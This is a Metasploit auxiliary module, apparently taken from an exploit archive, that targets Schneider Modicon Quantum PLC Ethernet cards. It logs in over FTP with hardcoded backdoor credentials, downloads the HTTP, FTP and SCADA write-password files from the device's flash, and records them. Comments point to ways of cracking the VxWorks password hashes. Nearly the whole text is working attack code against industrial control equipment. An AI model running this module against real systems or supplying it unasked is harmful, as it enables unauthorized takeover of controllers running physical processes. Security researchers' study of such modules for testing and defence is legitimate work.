Share
## https://sploitus.com/exploit?id=PACKETSTORM:180784
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Schneider Modicon Quantum Password Recovery',  
'Description' => %q{  
The Schneider Modicon Quantum series of Ethernet cards store usernames and  
passwords for the system in files that may be retrieved via backdoor access.  
  
This module is based on the original 'modiconpass.rb' Basecamp module from  
DigitalBond.  
},  
'Author' =>  
[  
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module  
'todb' # Metasploit fixups  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]  
],  
'DisclosureDate'=> '2012-01-19'  
))  
  
register_options(  
[  
Opt::RPORT(21),  
OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser'], fallbacks: ['USERNAME']),  
OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password'], fallbacks: ['PASSWORD'])  
])  
  
register_advanced_options(  
[  
OptBool.new('RUN_CHECK', [false, "Check if the device is really a Modicon device", true])  
])  
  
end  
  
# Thinking this should be a standard alias for all aux  
def ip  
Rex::Socket.resolv_to_dotted(datastore['RHOST'])  
end  
  
def check_banner  
banner == "220 FTP server ready.\r\n"  
end  
  
# TODO: If the username and password is correct, but this /isn't/ a Modicon  
# device, then we're going to end up storing HTTP credentials that are not  
# correct. If there's a way to fingerprint the device, it should be done here.  
def check  
is_modicon = false  
vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"  
connect rescue nil  
if sock  
# It's a weak fingerprint, but it's something  
is_modicon = check_banner()  
disconnect  
else  
vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"  
return Exploit::CheckCode::Unknown  
end  
  
if is_modicon  
vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"  
return Exploit::CheckCode::Detected  
else  
vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def run  
if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected  
print_status("Service detected.")  
grab() if setup_ftp_connection()  
else  
grab() if setup_ftp_connection()  
end  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: Time.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def setup_ftp_connection  
vprint_status "#{ip}:#{rport} - FTP - Connecting"  
conn = connect_login  
if conn  
print_good("#{ip}:#{rport} - FTP - Login succeeded")  
report_cred(  
ip: ip,  
port: rport,  
user: user,  
password: pass,  
service_name: 'modicon',  
proof: "connect_login: #{conn}"  
)  
return true  
else  
print_error("#{ip}:#{rport} - FTP - Login failed")  
return false  
end  
end  
  
def cleanup  
disconnect rescue nil  
data_disconnect rescue nil  
end  
  
# Echo the Net::FTP implementation  
def ftp_gettextfile(fname)  
vprint_status("#{ip}:#{rport} - FTP - Opening PASV data socket to download #{fname.inspect}")  
data_connect("A")  
res = send_cmd_data(["GET", fname.to_s], nil, "A")  
end  
  
def grab  
logins = Rex::Text::Table.new(  
'Header' => "Schneider Modicon Quantum services, usernames, and passwords",  
'Indent' => 1,  
'Columns' => ["Service", "User Name", "Password"]  
)  
httpcreds = ftp_gettextfile('/FLASH0/userlist.dat')  
if httpcreds  
print_status "#{ip}:#{rport} - FTP - HTTP password retrieval: success"  
else  
print_status "#{ip}:#{rport} - FTP - HTTP default password presumed"  
end  
ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')  
if ftpcreds  
print_status "#{ip}:#{rport} - FTP - password retrieval: success"  
else  
print_error "#{ip}:#{rport} - FTP - password retrieval error"  
end  
writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')  
if writecreds  
print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"  
else  
print_error "#{ip}:#{rport} - FTP - Write password error"  
end  
if httpcreds  
httpuser = httpcreds[1].split(/[\r\n]+/)[0]  
httppass = httpcreds[1].split(/[\r\n]+/)[1]  
proof = "FTP PASV data socket: #{httpcreds}"  
else  
# Usual defaults  
httpuser = "USER"  
httppass = "USER"  
proof = "Usual defaults"  
end  
print_status("#{rhost}:#{rport} - FTP - Storing HTTP credentials")  
logins << ["http", httpuser, httppass]  
  
report_cred(  
ip: ip,  
port: rport,  
service_name: 'http',  
user: httpuser,  
password: httppass,  
proof: proof  
)  
  
logins << ["scada-write", "", writecreds[1]]  
if writecreds # This is like an enable password, used after HTTP authentication.  
report_note(  
:host => ip,  
:port => 80,  
:proto => 'tcp',  
:sname => 'http',  
:ntype => 'scada.modicon.write-password',  
:data => writecreds[1]  
)  
end  
  
if ftpcreds  
# TODO:  
# Can we add a nicer dictionary? Revershing the hash  
# using Metasploit's existing loginDefaultencrypt dictionary yields  
# plaintexts that contain non-ascii characters for some hashes.  
# check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt  
# for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,  
# and it can be done in just a few lines of ruby.  
# See https://github.com/cvonkleist/vxworks_hash  
modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]  
modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]  
else  
modicon_ftpuser = "USER"  
modicon_ftppass = "USERUSER" #from the manual. Verified.  
end  
print_status("#{rhost}:#{rport} - FTP - Storing hashed FTP credentials")  
# The collected hash is not directly reusable, so it shouldn't be an  
# auth credential in the Cred sense. TheLightCosine should fix some day.  
# Can be used for telnet as well if telnet is enabled.  
report_note(  
:host => ip,  
:port => rport,  
:proto => 'tcp',  
:sname => 'ftp',  
:ntype => 'scada.modicon.ftp-password',  
:data => "User:#{modicon_ftpuser} VXWorks_Password:#{modicon_ftppass}"  
)  
logins << ["VxWorks", modicon_ftpuser, modicon_ftppass]  
  
# Not this:  
# report_auth_info(  
# :host => ip,  
# :port => rport,  
# :proto => 'tcp',  
# :sname => 'ftp',  
# :user => modicon_ftpuser,  
# :pass => modicon_ftppass,  
# :type => 'password_vx', # It's a hash, not directly usable, but crackable  
# :active => true  
# )  
print_line logins.to_s  
end  
end